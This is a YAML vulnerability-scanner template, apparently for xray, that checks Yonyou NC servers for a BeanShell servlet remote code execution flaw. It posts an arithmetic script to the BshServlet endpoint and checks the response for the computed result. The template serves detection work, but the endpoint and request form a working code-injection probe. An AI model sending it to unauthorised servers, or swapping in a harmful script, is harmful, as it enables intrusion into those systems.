name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce set: r1: randomInt(8000, 9999) r2: randomInt(8000, 9999) rules: - method: POST path: /servlet/~ic/bsh.servlet.BshServlet body: bsh.script=print%28{{r1}}*{{r2}}%29%3B expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: B1anda0(https://github.com/B1anda0) links: - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A